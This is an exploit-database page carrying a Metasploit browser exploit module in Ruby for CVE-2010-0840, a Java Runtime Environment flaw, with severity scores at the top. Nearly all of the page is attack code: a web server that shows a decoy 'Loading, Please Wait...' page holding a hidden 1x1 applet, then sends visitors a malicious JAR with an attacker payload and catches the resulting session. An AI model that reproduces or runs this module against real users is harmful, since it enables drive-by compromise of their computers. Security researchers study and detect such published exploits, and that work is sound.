Java - 'Statement.invoke()' Trusted Method Chain (Metasploit)

2010-12-1500:00:00

Metasploit

www.exploit-db.com

6.8 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.944 High

EPSS

Percentile

99.2%

JSON

##
# $Id: java_trusted_chain.rb 11345 2010-12-15 22:46:22Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Statement.invoke() Trusted Method Chain Exploit',
			'Description'   => %q{
			This module exploits a vulnerability in Java Runtime Environment
			that allows an untrusted method to run in a privileged context.  The
			vulnerability affects version 6 prior to update 19 and version 5
			prior to update 23.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
				'Sami Koivu', # Discovery
				'Matthias Kaiser', # PoC
				'egypt' # metasploit module
			],
			'Version'       => '$Revision: 11345 $',
			'References'    =>
			[
				[ 'CVE', '2010-0840' ],
				[ 'OSVDB', '63483' ],
				[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
			],
			'Platform'      => [ 'java', 'win', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 31 2010'
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "vuln", "Exploit.class" ],
			[ "vuln", "Exploit$1.class" ],
			[ "vuln", "Link.class" ],
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		html  = "<html><head><title>Loading, Please Wait...</title></head>"
		html += "<body><center><p>Loading, Please Wait...</p></center>"
		html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end